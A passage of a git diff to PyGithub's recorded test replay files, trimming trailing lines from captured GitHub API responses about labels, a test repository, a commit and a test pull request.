b/tests/ReplayData/Issue50.testSetIssueLabels.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('content-length', '419'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4886'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"e1d0a1c54608a676af0cdc1f63e04da7"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 20:04:08 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"ffff00","name":"Label with spaces and strange characters (&*#$)","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+spaces+and+strange+characters+%28%26%2A%23%24%29"},{"color":"e10c02","name":"RequestedByUser","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/RequestedByUser"}] - diff --git a/tests/ReplayData/Issue54.setUp.txt b/tests/ReplayData/Issue54.setUp.txt index dab58fe0ae..51850b34b9 100644 --- a/tests/ReplayData/Issue54.setUp.txt +++ b/tests/ReplayData/Issue54.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1172'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 13 Jul 2012 18:48:49 GMT'), ('connection', 'keep-alive'), ('etag', '"385e2f22f9b54b1d56fc731de0d5c9bc"'), ('cache-control', 'private, max-age=60'), ('date', 'Fri, 13 Jul 2012 19:06:44 GMT'), ('content-type', 'application/json; charset=utf-8')] {"permissions":{"push":true,"admin":true,"pull":true},"open_issues":0,"clone_url":"https://github.com/jacquev6/TestRepo.git","ssh_url":"git@github.com:jacquev6/TestRepo.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146,"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225"},"description":"Test repository created around Fri, 13 Jul 2012 18:43:21 GMT, that is vendredi 13 juillet 2012 20:43:21 GMT+2","master_branch":"master","mirror_url":null,"has_issues":true,"html_url":"https://github.com/jacquev6/TestRepo","pushed_at":"2012-07-13T18:47:21Z","forks":1,"has_downloads":true,"created_at":"2012-07-13T18:45:21Z","full_name":"jacquev6/TestRepo","language":null,"size":96,"fork":false,"svn_url":"https://github.com/jacquev6/TestRepo","has_wiki":true,"watchers":1,"updated_at":"2012-07-13T18:48:49Z","name":"TestRepo","git_url":"git://github.com/jacquev6/TestRepo.git","private":false,"id":5023526,"homepage":null,"url":"https://api.github.com/repos/jacquev6/TestRepo"} - diff --git a/tests/ReplayData/Issue54.testConversion.txt b/tests/ReplayData/Issue54.testConversion.txt index 9c1cdf47b5..919071a846 100644 --- a/tests/ReplayData/Issue54.testConversion.txt +++ b/tests/ReplayData/Issue54.testConversion.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '676'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4984'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 13 Jul 2012 18:47:10 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ab832024b149674b5210a1a3b146575c"'), ('cache-control', 'private, max-age=60'), ('date', 'Fri, 13 Jul 2012 19:06:44 GMT'), ('content-type', 'application/json; charset=utf-8')] {"committer":{"email":"vincent@vincent-jacques.net","date":"2012-07-13T11:47:10-07:00","name":"Vincent Jacques"},"message":"Test commit created around Fri, 13 Jul 2012 18:43:21 GMT, that is vendredi 13 juillet 2012 20:43:21 GMT+2\n","sha":"73f320ae06cd565cf38faca34b6a482addfc721b","tree":{"sha":"52fe1ba4ac2b979c0a8fbeb9f87c1b1c9f177520","url":"https://api.github.com/repos/jacquev6/TestRepo/git/trees/52fe1ba4ac2b979c0a8fbeb9f87c1b1c9f177520"},"author":{"email":"vincent@vincent-jacques.net","date":"2012-07-13T11:47:10-07:00","name":"Vincent Jacques"},"parents":[],"url":"https://api.github.com/repos/jacquev6/TestRepo/git/commits/73f320ae06cd565cf38faca34b6a482addfc721b"} - diff --git a/tests/ReplayData/Issue572.setUp.txt b/tests/ReplayData/Issue572.setUp.txt index 52fec83483..b26b3a3e81 100644 --- a/tests/ReplayData/Issue572.setUp.txt +++ b/tests/ReplayData/Issue572.setUp.txt @@ -19,4 +19,3 @@ null 200 [('content-length', '13966'), ('x-runtime-rack', '0.088780'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"0bfab9985eecbedd95fcca8a177c448b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'E5DC:15E9C:1DD158:26DEC2:59BFD789'), ('last-modified', 'Sun, 27 Nov 2016 13:31:42 GMT'), ('date', 'Mon, 18 Sep 2017 14:26:18 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1505747208')] {"id":70329851,"name":"PyGithub","full_name":"tmshn/PyGithub","owner":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/tmshn/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/tmshn/PyGithub","forks_url":"https://api.github.com/repos/tmshn/PyGithub/forks","keys_url":"https://api.github.com/repos/tmshn/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tmshn/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tmshn/PyGithub/teams","hooks_url":"https://api.github.com/repos/tmshn/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/tmshn/PyGithub/events","assignees_url":"https://api.github.com/repos/tmshn/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/tmshn/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/tmshn/PyGithub/tags","blobs_url":"https://api.github.com/repos/tmshn/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tmshn/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tmshn/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/tmshn/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/tmshn/PyGithub/languages","stargazers_url":"https://api.github.com/repos/tmshn/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/tmshn/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/tmshn/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/tmshn/PyGithub/subscription","commits_url":"https://api.github.com/repos/tmshn/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/tmshn/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/tmshn/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/tmshn/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/tmshn/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tmshn/PyGithub/merges","archive_url":"https://api.github.com/repos/tmshn/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tmshn/PyGithub/downloads","issues_url":"https://api.github.com/repos/tmshn/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/tmshn/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/tmshn/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/tmshn/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tmshn/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/tmshn/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/tmshn/PyGithub/deployments","created_at":"2016-10-08T12:30:45Z","updated_at":"2016-11-27T13:31:42Z","pushed_at":"2017-09-18T14:24:41Z","git_url":"git://github.com/tmshn/PyGithub.git","ssh_url":"git@github.com:tmshn/PyGithub.git","clone_url":"https://github.com/tmshn/PyGithub.git","svn_url":"https://github.com/tmshn/PyGithub","homepage":"http://pygithub.readthedocs.io/en/stable/","size":12187,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":1,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2017-09-18T05:44:02Z","pushed_at":"2017-09-18T14:22:09Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"","size":12152,"stargazers_count":1430,"watchers_count":1430,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":498,"mirror_url":null,"open_issues_count":196,"forks":498,"open_issues":196,"watchers":1430,"default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2017-09-18T05:44:02Z","pushed_at":"2017-09-18T14:22:09Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"","size":12152,"stargazers_count":1430,"watchers_count":1430,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":498,"mirror_url":null,"open_issues_count":196,"forks":498,"open_issues":196,"watchers":1430,"default_branch":"master"},"network_count":498,"subscribers_count":1} - diff --git a/tests/ReplayData/Issue572.testIssueAsPullRequest.txt b/tests/ReplayData/Issue572.testIssueAsPullRequest.txt index 798d30068d..aa7bee395b 100644 --- a/tests/ReplayData/Issue572.testIssueAsPullRequest.txt +++ b/tests/ReplayData/Issue572.testIssueAsPullRequest.txt @@ -19,4 +19,3 @@ null 200 [('content-length', '13858'), ('x-runtime-rack', '0.364592'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"c734b968529b43c1dafb7f9d20e0c8e8"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'E5DA:15E9B:47340D:5D13E9:59BFD787'), ('last-modified', 'Mon, 18 Sep 2017 14:25:14 GMT'), ('date', 'Mon, 18 Sep 2017 14:26:16 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1505747208')] {"url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2","id":141616402,"html_url":"https://github.com/tmshn/PyGithub/pull/2","diff_url":"https://github.com/tmshn/PyGithub/pull/2.diff","patch_url":"https://github.com/tmshn/PyGithub/pull/2.patch","issue_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2","number":2,"state":"open","locked":false,"title":"[PR for TEST] Issue to pull","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"body":"This pr is created to used for automated acctest.\r\nAfter I recorded the replay data, this will be closed.","created_at":"2017-09-18T14:24:05Z","updated_at":"2017-09-18T14:25:14Z","closed_at":null,"merged_at":null,"merge_commit_sha":"2ac60d06a42e248d0ce681070ff323edaeac47d2","assignee":null,"assignees":[],"requested_reviewers":[],"milestone":null,"commits_url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/commits","review_comments_url":"https://api.github.com/repos/tmshn/PyGithub/pulls/2/comments","review_comment_url":"https://api.github.com/repos/tmshn/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/issues/2/comments","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/2f1b3257b402d6b82033fde766a5394f4e980c04","head":{"label":"tmshn:issue-to-pull","ref":"issue-to-pull","sha":"2f1b3257b402d6b82033fde766a5394f4e980c04","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"repo":{"id":70329851,"name":"PyGithub","full_name":"tmshn/PyGithub","owner":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/tmshn/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/tmshn/PyGithub","forks_url":"https://api.github.com/repos/tmshn/PyGithub/forks","keys_url":"https://api.github.com/repos/tmshn/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tmshn/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tmshn/PyGithub/teams","hooks_url":"https://api.github.com/repos/tmshn/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/tmshn/PyGithub/events","assignees_url":"https://api.github.com/repos/tmshn/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/tmshn/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/tmshn/PyGithub/tags","blobs_url":"https://api.github.com/repos/tmshn/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tmshn/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tmshn/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/tmshn/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/tmshn/PyGithub/languages","stargazers_url":"https://api.github.com/repos/tmshn/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/tmshn/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/tmshn/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/tmshn/PyGithub/subscription","commits_url":"https://api.github.com/repos/tmshn/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/tmshn/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/tmshn/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/tmshn/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/tmshn/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/tmshn/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tmshn/PyGithub/merges","archive_url":"https://api.github.com/repos/tmshn/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tmshn/PyGithub/downloads","issues_url":"https://api.github.com/repos/tmshn/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/tmshn/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/tmshn/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/tmshn/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tmshn/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/tmshn/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/tmshn/PyGithub/deployments","created_at":"2016-10-08T12:30:45Z","updated_at":"2016-11-27T13:31:42Z","pushed_at":"2017-09-18T14:24:41Z","git_url":"git://github.com/tmshn/PyGithub.git","ssh_url":"git@github.com:tmshn/PyGithub.git","clone_url":"https://github.com/tmshn/PyGithub.git","svn_url":"https://github.com/tmshn/PyGithub","homepage":"http://pygithub.readthedocs.io/en/stable/","size":12187,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":1,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"tmshn:master","ref":"master","sha":"3437a7030f02a1648290db581621936eb5771b69","user":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"repo":{"id":70329851,"name":"PyGithub","full_name":"tmshn/PyGithub","owner":{"login":"tmshn","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/tmshn","html_url":"https://github.com/tmshn","followers_url":"https://api.github.com/users/tmshn/followers","following_url":"https://api.github.com/users/tmshn/following{/other_user}","gists_url":"https://api.github.com/users/tmshn/gists{/gist_id}","starred_url":"https://api.github.com/users/tmshn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tmshn/subscriptions","organizations_url":"https://api.github.com/users/tmshn/orgs","repos_url":"https://api.github.com/users/tmshn/repos","events_url":"https://api.github.com/users/tmshn/events{/privacy}","received_events_url":"https://api.github.com/users/tmshn/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/tmshn/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/tmshn/PyGithub","forks_url":"https://api.github.com/repos/tmshn/PyGithub/forks","keys_url":"https://api.github.com/repos/tmshn/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tmshn/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tmshn/PyGithub/teams","hooks_url":"https://api.github.com/repos/tmshn/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/tmshn/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/tmshn/PyGithub/events","assignees_url":"https://api.github.com/repos/tmshn/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/tmshn/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/tmshn/PyGithub/tags","blobs_url":"https://api.github.com/repos/tmshn/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tmshn/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tmshn/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/tmshn/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tmshn/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/tmshn/PyGithub/languages","stargazers_url":"https://api.github.com/repos/tmshn/PyGithub/st